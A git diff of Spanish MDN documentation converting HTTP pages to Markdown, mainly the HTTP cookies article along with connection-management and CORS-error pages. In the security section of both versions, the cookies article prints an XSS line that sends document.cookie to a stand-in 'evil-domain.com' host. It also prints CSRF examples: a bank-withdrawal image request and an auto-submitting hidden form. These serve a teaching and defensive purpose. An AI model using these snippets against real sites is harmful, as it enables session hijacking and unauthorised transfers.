persistentes. + +En HTTP/1.1 las conexiones son persistentes por defecto, así que esa cabecera no se necesita (aunque usualmente se añade como medida defensiva, en caso de que se tenga que utilizar el protocolo HTTP/1.0). + +## HTTP pipelining + +> **Nota:** HTTP pipelining no está activado por defecto en los navegacdores modernos:\* [Proxies](https://en.wikipedia.org/wiki/Proxy_server) con defectos de implementación son habituales y provocan comportamientos extraños y erráticos, que los desarrolladores de Webs, no pueden predecir, ni corregir fácilmente. +> +> - HTTP Pipelining es complicado de implementar correctamente: el tamaño del recurso pedido, el correcto [RTT](https://en.wikipedia.org/wiki/Round-trip_delay_time) que será utilizado, así como el ancho de banda efectivo, tienen un impacto directo en la en la mejora de rendimiento de este método. Sin conocer estos valores, puede que mensajes importantes, se vean retrasados, por mensajes que no lo son. El concepto de "importante" incluso cambia según se carga la maquetación (layout) de la página. De ahí que este método solamente presente una mejora marginal en la mayoría de los casos. +> - HTTP Pipelining presenta un problema conocido como [HOL](https://en.wikipedia.org/wiki/Head-of-line_blocking)Así, debido a estas razones este método ha sido relevado por un algoritmo mejor, la **multiplexación**, que es el que usa HTTP/2. + +Por defecto, las peticiones HTTP son realizadas de manera sequencial. La siguiente petición es realizada una vez que la respuesta a la petición actual ha sido recibida. Debido a que se ven afectadas por latencias en la red y limitaciones en el ancho de banda, ésto puede llevar a retardos significativos hasta que la siguiente petición es _vista_ por el servidor. + +Pipelining es un proceso para enviar peticiones sucesivas, sobre la misma conexión persistente, sin esperar a la respuesta. Esto evita latencias en la conexión. En teoría, el rendimiento también podría mejorar si dos peticiones HTTP se empaquetaran en el mismo mensaje TCP. El MSS (Maximum Segment Size) típico, es suficientemente grande para contener varias peticiones simples, aunque la demanda de tamaño de las peticiones HTTP sigue creciendo. + +No todos los tipos de peticiones HTTP pueden ser utilizadas en pipeline: solo métodos {{glossary("idempotent")}} como {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} and {{HTTPMethod("DELETE")}} pueden ser repetidos sin incidencias. Si ocurre un fallo, el contenido se puede simplemente reenviar. + +Hoy en día, todo proxy y servidor que cumpla con HTTP/1.1 debería dar soporte a pipelining, aunque en práctica tenga muchas limitaciones. Por esta razón, ningún explorador moderno lo activa por defecto. + +## Domain sharding + +> **Nota:** Unless you have a very specific immediate need, don't use this deprecated technique; switch to HTTP/2 instead. In HTTP/2, domain sharding is no more useful: the HTTP/2 connection is able to handle parallel unprioritized requests very well. Domain sharding is even detrimental to performance. Most HTTP/2 implementation use a technique called [connection coalescing]() to revert eventual domain sharding. + +As an HTTP/1.x connection is serializing requests, even without any ordering, it can't be optimal without large enough available bandwidth. As a solution, browsers open several connections to each domain, sending parallel requests. Default was once 2 to 3 connections, but this has now increased to a more common use of 6 parallel connections. There is a risk of triggering [DoS](/es/docs/Glossary/DOS_attack) protection on the server side if attempting more than this number. + +If the server wishes a faster Web site or application response, it is possible for the server to force the opening of more connections. For example, Instead of having all resources on the same domain, say `www.example.com`, it could split over several domains, `www1.example.com`, `www2.example.com`, `www3.example.com`. Each of these domains resolve to the _same_ server, and the Web browser will open 6 connections to each (in our example, boosting the connections to 18). This technique is called _domain sharding_. + +![](https://mdn.mozillademos.org/files/13783/HTTPSharding.png) + +## Conclusión + +Las mejoras en la gestión de las conexiones, han significado un considerable aumento en el rendimiento del protocolo HTTP. Con HTTP/1.1 o HTTP/1.0, el uso de una conexión persistente - al menos hasta que que no necesite transmitir más datos- resulta en un significativo aumento en el rendimiento de la comunicación. Incluso, el fracaso de. método de pipelining, ha resultado en el diseño de modelos superiores para la gestión de la conexión, todo lo cual se ha incorporado en HTTP/2. diff --git a/files/es/web/http/cookies/index.html b/files/es/web/http/cookies/index.html deleted file mode 100644 index 5155fcbe14b286..00000000000000 --- a/files/es/web/http/cookies/index.html +++ /dev/null @@ -1,240 +0,0 @@ ---- -title: HTTP cookies -slug: Web/HTTP/Cookies -tags: - - Almacenamiento - - Articulo sobre Cookies - - Cookies - - Datos - - Desarrollo web - - HTTP - - JavaScript - - Navegador - - Petición - - Protocolos - - Servidor - - privacidad - - seguimiento -translation_of: Web/HTTP/Cookies ---- -
{{HTTPSidebar}}
- -

Una cookie HTTP, cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado.

- -

Las cookies se utilizan principalmente con tres propósitos:

- -
-
Gestión de Sesiones
-
Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar
-
Personalización
-
Preferencias de usuario, temas y otras configuraciones
-
Rastreo
-
Guardar y analizar el comportamiento del usuario
-
- -

Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la Web storage API (localStorage y sessionStorage) e IndexedDB.

- -
-
-
-

Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el Inspector de Almacenamiento en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento.

-
-
-
- -

Creando cookies

- -

Al recibir una solicitud HTTP, un servidor puede enviar un encabezado {{HTTPHeader ("Set-Cookie")}} con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP {{HTTPHeader ("Cookie")}}. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie.

- - - -

El encabezado de respuesta HTTP {{HTTPHeader ("Set-Cookie")}} envía las cookies del servidor al agente de usuario. Una cookie simple se establece así:

- -
Set-Cookie: <nombre-cookie>=<valor-cookie>
- -

Este encabezado del servidor le dice al cliente que almacene una cookie.

- -
Note: Aquí se explica como usar el encabezado Set-Cookie en varias aplicaciones del lado del servidor: - - -
- -
HTTP/1.0 200 OK
-Content-type: text/html
-Set-Cookie: yummy_cookie=choco
-Set-Cookie: tasty_cookie=strawberry
-
-[page content]
- -

Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado {{HTTPHeader ("Cookie")}}.

- -
GET /sample_page.html HTTP/1.1
-Host: www.example.org
-Cookie: yummy_cookie=choco; tasty_cookie=strawberry
- -

Cookies de sesión

- -

La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva Expires o Max-Age . Sin embargo, los navegadores web pueden usar la restauración de sesiones, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara.

- -

Cookies Permanentes

- -

En lugar de expirar cuando el cliente se cierra, las cookies permanentes expiran en una fecha específica (Expires) o tras un periodo de tiempo específico (Max-Age).

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
- -
-

Nota: Cuando se establece una fecha de expiración, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor.

-
- -

Cookies Secure y HttpOnly

- -

Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo HTTPS. Incluso con Secure, no debería almacenarse nunca información sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (http:) no pueden establecer cookies con la directiva Secure.

- -

Para prevenir ataques cross-site scripting ({{Glossary("XSS")}}), las cookies HttpOnly son inaccesibles desde la API de Javascript {{domxref("Document.cookie")}}; Solamente se envían al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que debería establecerse el flag HttpOnly.

- -
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
- -

Alcance de las cookies

- -

Las directivas Domain y Path definen el alcance de la cookie: a qué URLs deberían enviarse las cookies.

- -

Domain especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el host del Document.location actual, excluyendo subdominios. Si se especifica Domain, los subdominios son siempre incluidos.

- -

Por ejemplo, si se establece Domain=mozilla.org, las cookies se incluyen en subdominios como developer.mozilla.org.

- -

Path indica una ruta URL que debe existir en la URL solicitada para enviar el header. El carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios también coincidirán.

- -

Por ejemplo, si se establece Path=/docs estas rutas coincidirán:

- -
    -
  • /docs
    • -
  • /docs/Web/
    • -
  • /docs/Web/HTTP
    • -
- -

Cookies SameSite {{experimental_inline}}

- -

Las cookies SameSite permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde {{Glossary("Site")}} es definido por el dominio registrabe), lo que proporciona algo de protección contra ataques cross-site request forgery ({{Glossary("CSRF")}}).

- -

Las cookies SameSite son relativamente nuevas y soportadas por los principales navegadores.

- -

Aquí hay un ejemplo:

- -
Set-Cookie: key=value; SameSite=Strict
- -

El atributo same-site puede tomar uno de los dos valores (case-insensitive):

- -
-
Strict
-
Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó desde una URL diferente que la URL del location actual, no se incluirá ninguna cookie etiquetada con el atributo Strict.
-
Lax
-
Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero se enviarán cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace.
-
- -

El comportamiento por defecto de este flag si no está establecido, o no está soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin.

- -

Acceso desde JavaScript usando Document.cookie

- -

También se pueden crear nuevas cookies via JavaScript usando la propiedad {{domxref("Document.cookie")}}, y si el flag HttpOnly no está establecido, también se puede acceder a las cookies existentes desde JavaScript.

- -
document.cookie = "yummy_cookie=choco";
-document.cookie = "tasty_cookie=strawberry";
-console.log(document.cookie);
-// logs "yummy_cookie=choco; tasty_cookie=strawberry"
- -

Tenga en cuenta las cuestiones de seguridad en la siguiente sección Seguridad. Las cookies disponibles para JavaScript pueden ser robadas por medio de XSS.

- -

Seguridad

- -
-

Nunca se debe almacenar ni transmitir información confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro.

-
- -

Secuestro de session y XSS

- -

Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería social o la explotación de una vulnerabilidad {{Glossary("XSS")}} de la aplicación.

- -
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
- -

El atributo cookie HttpOnly puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a través de JavaScript.

- -

Cross-site request forgery (CSRF)

- -

Wikipedia menciona buenos ejemplos para {{Glossary("CSRF")}}. En este caso, alguien puede incluir una imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en lugar de esto es realmente una solicitud de tu banco para retirar tu dinero:

- -
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
- -

Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que requieren una petición de tipo POST, se puede disparar un evento de tipo envío de formulario (posiblemente en un iframe invisible) cuando la página se carga:

- -
<form action="https://bank.example.com/withdraw" method="POST">
-  <input type="hidden" name="account" value="bob">
-  <input type="hidden" name="amount" value="1000000">
-  <input type="hidden" name="for" value="mallory">
-</form>
-<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script>
- -

Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran:

- -
    -
  • Los endpoints GET no deben tener acciones de modificación, y si esto se necesita se debería requerir una petición POST. Además los endpoints POST no debería aceptar la intercambiabilidad de aceptar peticiones GET con parametros en query string
    • -
  • Un token CSRF debería ser incluido en cada elemento <form> mediante un input oculto. Este token debe ser único para cada usuario y almacenado (por ejemplo, en una cookie). De esta forma el servidor puede mirar si el valor requerido es enviado, y en cierto modo lo idea sería descartar la petición si el valor no concuerda con lo esperado. -
      -
    • Este método de protección recae en la imposibilidad de que un atacante pueda predecir este token autogenerado en cada inicio de sesión. Cabe aclarar que este token debería ser regenerado en cada inicio de sesión.
      • -
    -
    • -
  • Al igual que con {{Glosario ("XSS")}}, el filtrado de entrada es importante.
    • -
  • Debería de existir siempre un requerimiento de confirmación para cualquier acción delicada,.
    • -
  • Las cookies empleadas en acciones delicadas deberían de tener una vida útil breve.
    • -
  • Para más prevención visita OWASP CSRF prevention cheat sheet.
    • -
- -

Tracking and privacy

- -

Third-party cookies

- -

Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a first-party cookie. If the domain is different, it is said to be a third-party cookie. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the types of cookies used by Google. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, Privacy Badger by the EFF).

- -

If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's cookie statement.

- -
    -
- -

Do-Not-Track

- -

There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.

- - - -

Requirements for cookies across the EU are defined in Directive 2009/136/EC of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.

- -

In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies.

- -

For more, see this Wikipedia section and consult state laws for the latest and most accurate information.

- -

Zombie cookies and Evercookies

- -

A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the Web storage API, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.

- - - -

See also

- - diff --git a/files/es/web/http/cookies/index.md b/files/es/web/http/cookies/index.md new file mode 100644 index 00000000000000..7b96deebb2b718 --- /dev/null +++ b/files/es/web/http/cookies/index.md @@ -0,0 +1,216 @@ +--- +title: HTTP cookies +slug: Web/HTTP/Cookies +tags: + - Almacenamiento + - Articulo sobre Cookies + - Cookies + - Datos + - Desarrollo web + - HTTP + - JavaScript + - Navegador + - Petición + - Protocolos + - Servidor + - privacidad + - seguimiento +translation_of: Web/HTTP/Cookies +--- +{{HTTPSidebar}} + +Una cookie HTTP, cookie web o cookie de navegador es una pequeña pieza de datos que un servidor envía a el navegador web del usuario. El navegador guarda estos datos y los envía de regreso junto con la nueva petición al mismo servidor. Las cookies se usan generalmente para decirle al servidor que dos peticiones tienen su origen en el mismo navegador web lo que permite, por ejemplo, mantener la sesión de un usuario abierta. Las cookies permiten recordar la información de estado en vista a que el protocolo HTTP es un protocolo sin estado. + +Las cookies se utilizan principalmente con tres propósitos: + +- Gestión de Sesiones + - : Inicios de sesión, carritos de compras, puntajes de juegos o cualquier otra cosa que el servidor deba recordar +- Personalización + - : Preferencias de usuario, temas y otras configuraciones +- Rastreo + - : Guardar y analizar el comportamiento del usuario + +Las cookies se usaron una vez para el almacenamiento general del lado del cliente. Si bien esto era legítimo cuando eran la única forma de almacenar datos en el cliente, hoy en día se recomienda preferir las API de almacenamiento modernas. Las cookies se envían con cada solicitud, por lo que pueden empeorar el rendimiento (especialmente para las conexiones de datos móviles). Las APIs modernas para el almacenamiento del cliente son la [Web storage API](/es/docs/Web/API/Web_Storage_API "DOM Storage") (`localStorage` y `sessionStorage`) e [IndexedDB](/es/docs/Web/API/IndexedDB_API). + +> **Nota:** > **Advertencia:** > **Nota:** Para ver las cookies almacenadas (y otro tipo de almacenamiento que una página web puede usar), puede habilitar el [Inspector de Almacenamiento](/es/docs/Tools/Storage_Inspector) en Herramientas del desarrollador y seleccionar Cookies en el árbol de almacenamiento. + +## Creando cookies + +Al recibir una solicitud HTTP, un servidor puede enviar un encabezado {{HTTPHeader ("Set-Cookie")}} con la respuesta. La cookie generalmente es almacenada por el navegador, y luego la cookie se envía con solicitudes hechas al mismo servidor dentro de un encabezado HTTP {{HTTPHeader ("Cookie")}}. Se puede especificar una fecha de vencimiento o duración, después de lo cual ya no se envía la cookie. Además, se pueden establecer restricciones a un dominio y ruta específicos, lo que limita el lugar donde se envía la cookie. + +### Los encabezados `Set-Cookie` y `Cookie` + +El encabezado de respuesta HTTP {{HTTPHeader ("Set-Cookie")}} envía las cookies del servidor al agente de usuario. Una cookie simple se establece así: + + Set-Cookie: = + +Este encabezado del servidor le dice al cliente que almacene una cookie. + +> **Nota:** Aquí se explica como usar el encabezado `Set-Cookie` en varias aplicaciones del lado del servidor:\* [PHP](https://secure.php.net/manual/en/function.setcookie.php) +> +> - [Node.JS](https://nodejs.org/dist/latest-v8.x/docs/api/http.html#http_response_setheader_name_value) +> - [Python](https://docs.python.org/3/library/http.cookies.html) +> - [Ruby on Rails](http://api.rubyonrails.org/classes/ActionDispatch/Cookies.html) + + HTTP/1.0 200 OK + Content-type: text/html + Set-Cookie: yummy_cookie=choco + Set-Cookie: tasty_cookie=strawberry + + [page content] + +Ahora, con cada nueva solicitud al servidor, el navegador enviará todas las cookies almacenadas previamente al servidor utilizando el encabezado {{HTTPHeader ("Cookie")}}. + + GET /sample_page.html HTTP/1.1 + Host: www.example.org + Cookie: yummy_cookie=choco; tasty_cookie=strawberry + +### Cookies de sesión + +La cookie creada anteriormente es una cookie de sesión: se elimina cuando el cliente se cierra, por que no se especificó una directiva `Expires` o `Max-Age` . Sin embargo, los navegadores web pueden usar la **restauración de sesiones**, lo que hace que la mayoría de las cookies de sesión sean permanentes, como si el navegador nunca se cerrara. + +### Cookies Permanentes + +En lugar de expirar cuando el cliente se cierra, las _cookies permanentes_ expiran en una fecha específica (`Expires`) o tras un periodo de tiempo específico (`Max-Age`). + + Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; + +> **Nota:** Cuando se establece una fecha de expiración, la fecha y hora que se establece es relativa al cliente en el que se establece la cookie, no del servidor. + +### Cookies `Secure` y `HttpOnly` + +Una cookie segura sólo se envía al servidor con una petición cifrada sobre el protocolo HTTPS. Incluso con `Secure`, no debería almacenarse _nunca_ información sensible en la cookies, ya que son inherentemente inseguras y este flag no puede ofrecer protección real. A partir de Chrome 52 y Firefox 52, los sitios inseguros (`http:`) no pueden establecer cookies con la directiva `Secure`. + +Para prevenir ataques cross-site scripting ({{Glossary("XSS")}}), las cookies `HttpOnly` son inaccesibles desde la API de Javascript {{domxref("Document.cookie")}}; Solamente se envían al servidor. Por ejemplo, las cookies que persisten sesiones del lado del servidor no necesitan estar disponibles para JavaScript, por lo que debería establecerse el flag `HttpOnly`. + + Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly + +### Alcance de las cookies + +Las directivas `Domain` y `Path` definen el alcance de la cookie: a qué URLs deberían enviarse las cookies. + +`Domain` especifica los hosts permitidos para recibir la cookie. Si no se especifica, toma como valor por defecto el [host del Document.location actual,](/es/docs/Web/API/Document/location) **excluyendo subdominios**. Si se especifica `Domain`, los subdominios son siempre incluidos. + +Por ejemplo, si se establece `Domain=mozilla.org`, las cookies se incluyen en subdominios como `developer.mozilla.org`. + +`Path` indica una ruta URL que debe existir en la URL solicitada para enviar el header. El carácter %x2F ("/") es considerado un separador de directorios, y los subdirectorios también coincidirán. + +Por ejemplo, si se establece `Path=/docs` estas rutas coincidirán: + +- `/docs` +- `/docs/Web/` +- `/docs/Web/HTTP` + +### Cookies `SameSite` {{experimental_inline}} + +Las cookies `SameSite` permiten a los servidores requerir que una cookie no sea enviada con solicitudes cross-site (donde {{Glossary("Site")}} es definido por el dominio registrabe), lo que proporciona algo de protección contra ataques cross-site request forgery ({{Glossary("CSRF")}}). + +Las cookies `SameSite` son relativamente nuevas y [soportadas por los principales navegadores](/es/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility). + +Aquí hay un ejemplo: + + Set-Cookie: key=value; SameSite=Strict + +El atributo same-site puede tomar uno de los dos valores (case-insensitive): + +- `Strict` + - : Si una cookie same-site tiene este atributo, el navegador sólo enviará cookies si la solicitud se originó en el sitio web que estableció la cookie. Si la solicitud se originó desde una URL diferente que la URL del location actual, no se incluirá ninguna cookie etiquetada con el atributo `Strict`. +- `Lax` + - : Si el atributo se establece en Lax, las cookies same-site se retienen en (sub)peticiones cross-site, tales como llamadas para cargar imágenes o frames, pero se enviarán cuando un usuario navegue a la URL desde un sitio externo, por ejemplo, siguiendo un enlace. + +El comportamiento por defecto de este flag si no está establecido, o no está soportado por el navegador, es incluir las cookies en cualquier solicitud, incluyendo solicitudes corss-origin. + +### Acceso desde JavaScript usando `Document.cookie` + +También se pueden crear nuevas cookies via JavaScript usando la propiedad {{domxref("Document.cookie")}}, y si el flag `HttpOnly` no está establecido, también se puede acceder a las cookies existentes desde JavaScript. + +```js +document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry" +``` + +Tenga en cuenta las cuestiones de seguridad en la siguiente sección [Seguridad](/es/docs/Web/HTTP/Cookies#Security). Las cookies disponibles para JavaScript pueden ser robadas por medio de XSS. + +## Seguridad + +> **Nota:** Nunca se debe almacenar ni transmitir información confidecial o sensible mediante Cookies HTTP, ya que todo el mecanismo es inherentemente inseguro. + +### Secuestro de session y XSS + +Las cookies son utilizadas a menudo en aplicaciones web para identificar a un usuario y su sesión autenticada, así que el robo de una cookie puede implicar el secuestro de la sesión del usuario autenticado. Las formas más comunes de robar cookies incluyen ingeniería social o la explotación de una vulnerabilidad {{Glossary("XSS")}} de la aplicación. + +```js +(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; +``` + +El atributo cookie `HttpOnly` puede ayudar a mitigar este ataque evitando el acceso al valor de la cookie a través de JavaScript. + +### Cross-site request forgery (CSRF) + +[Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery) menciona buenos ejemplos para {{Glossary("CSRF")}}. En este caso, alguien puede incluir una imagen que no es realmente una imagen (por ejemplo un chat o foro sin filtrar), que en lugar de esto es realmente una solicitud de tu banco para retirar tu dinero: + +```html + +``` + +Ahora, si tu tienes una sesión iniciada en tu tu cuenta bancaria y las cookies permanecen siendo válidas (y no hay otra validación mas que esa), se realizará la transferencia desde tu cuenta tan pronto como se cargue el html que contiene la imagen. Para los endpoints que requieren una petición de tipo POST, se puede disparar un evento de tipo envío de formulario (posiblemente en un iframe invisible) cuando la página se carga: + +
+ + + +
+ + +Se presentan aquí algunas técnicas que se deberían usar para evitar que estas cosas ocurran: + +- Los endpoints GET no deben tener acciones de modificación, y si esto se necesita se debería requerir una petición POST. Además los endpoints POST no debería aceptar la intercambiabilidad de aceptar peticiones GET con parametros en _query string_ +- Un token CSRF debería ser incluido en cada elemento `
` mediante un input oculto. Este token debe ser único para cada usuario y almacenado (por ejemplo, en una _cookie_). De esta forma el servidor puede mirar si el valor requerido es enviado, y en cierto modo lo idea sería descartar la petición si el valor no concuerda con lo esperado. + + - Este método de protección recae en la imposibilidad de que un atacante pueda predecir este token autogenerado en cada inicio de sesión. Cabe aclarar que este token debería ser regenerado en cada inicio de sesión. + +- Al igual que con {{Glosario ("XSS")}}, el filtrado de entrada es importante. +- Debería de existir siempre un requerimiento de confirmación para cualquier acción delicada,. +- Las cookies empleadas en acciones delicadas deberían de tener una vida útil breve. +- Para más prevención visita [OWASP CSRF prevention cheat sheet](). + +## Tracking and privacy + +### Third-party cookies + +Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a _first-party cookie_. If the domain is different, it is said to be a _third-party cookie_. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the [types of cookies used by Google](https://www.google.com/policies/technologies/types/). Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, [Privacy Badger](https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/) by the [EFF](https://www.eff.org/)). + +If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikipedia's [cookie statement](https://wikimediafoundation.org/wiki/Cookie_statement). + +### Do-Not-Track + +There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information. + +### EU cookie directive + +Requirements for cookies across the EU are defined in [Directive 2009/136/EC](http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136) of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country. + +In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners since then to inform the user about the use of cookies. + +For more, see [this Wikipedia section](https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive) and consult state laws for the latest and most accurate information. + +### Zombie cookies and Evercookies + +A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the [Web storage API](/es/docs/Web/API/Web_Storage_API "DOM Storage"), Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected. + +- [Evercookie by Samy Kamkar](https://github.com/samyk/evercookie) +- [Zombie cookies on Wikipedia](https://en.wikipedia.org/wiki/Zombie_cookie) + +## See also + +- {{HTTPHeader("Set-Cookie")}} +- {{HTTPHeader("Cookie")}} +- {{domxref("Document.cookie")}} +- {{domxref("Navigator.cookieEnabled")}} +- [Inspecting cookies using the Storage Inspector](/es/docs/Tools/Storage_Inspector) +- [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265) +- [Nicholas Zakas article on cookies](https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/) +- [Nicholas Zakas article on cookies and security](https://www.nczonline.net/blog/2009/05/12/cookies-and-security/) +- [HTTP cookie on Wikipedia](https://en.wikipedia.org/wiki/HTTP_cookie) diff --git a/files/es/web/http/cors/errors/corsmissingalloworigin/index.html b/files/es/web/http/cors/errors/corsmissingalloworigin/index.html deleted file mode 100644 index a90e2700edfcbf..00000000000000 --- a/files/es/web/http/cors/errors/corsmissingalloworigin/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: 'Reason: CORS header ''Access-Control-Allow-Origin'' missing' -slug: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin -tags: - - Cabeceras - - Seguridad -translation_of: Web/HTTP/CORS/Errors/CORSMissingAllowOrigin ---- -
{{HTTPSidebar}}
- -

Motivo

- -
Motivo: Hace falta la cabecera CORS 'Access-Control-Allow-Origin'
- -

¿Qué salió mal?

- -

A la respuesta de la solicitud {{Glossary("CORS")}} le falta la requerida cabecera {{HTTPHeader("Access-Control-Allow-Origin")}}, la cual se utiliza para determinar si el recurso puede o no ser accedido por el contenido dentro del origen actual.

- -

Si el servidor está bajo su control, agregue el origen del sitio solicitado al conjunto de dominios con acceso permitido agregándolo al valor de la cabecera Access-Control-Allow-Origin.

- -

Por ejemplo, para permitir a un sitio como https://amazing.site acceder al recurso usando CORS, la cabecera deberia ser:

- -
Access-Control-Allow-Origin: https://amazing.site
- -

También puede configurar un sitio para permitirle el acceso desde cualquier otro sitio usando el comodín "*". Solamente debería usar esto para APIs públicas. Las APIs privadas nunca deberían usar este comodín, en lugar de eso, se debería especificar un dominio o conjunto de dominios. Adicionalmente, el comodín solamente funciona para consultas con el atributo {{htmlattrxref("crossorigin")}} establecido en "anonymous".

- -
Access-Control-Allow-Origin: *
- -
-

Advertencia: Utilizar el comodín para permitir que todos los sitios accedan a una API privada es una mala idea.

-
- -

Para permitir que cualquier sitio realice peticiones CORS sin usar el comodín * (por ejemplo, para activar credenciales), su servidor deberá leer el valor la cabecera Origin de la petición y usar dicho valor para Access-Control-Allow-Origin y además declarar una cabecera Vary: Origin para indicar que algunas cabeceras están siendo dinámicamente declaradas dependiendo del origen.

- -

El protocolo para administrar estas cabeceras depende de tu servidor web. Por ejemplo, en Apache, agrega una línea como la siguiente a la configuración del servidor (Con las secciones <Directory>, <Location>, <Files> o <VirtualHost> apropiadas). La configuración, suele encontrarse en un archivo .conf (httpd.conf y apache.conf son nombres comunes para este tipo de archivos), o en un archivo .htaccess.

- -
Header set Access-Control-Allow-Origin 'origin-list'
- -

Para Nginx, el comando para configurar esta cabecera es:

- -
add_header 'Access-Control-Allow-Origin' 'origin-list"
- -

Vea tambien

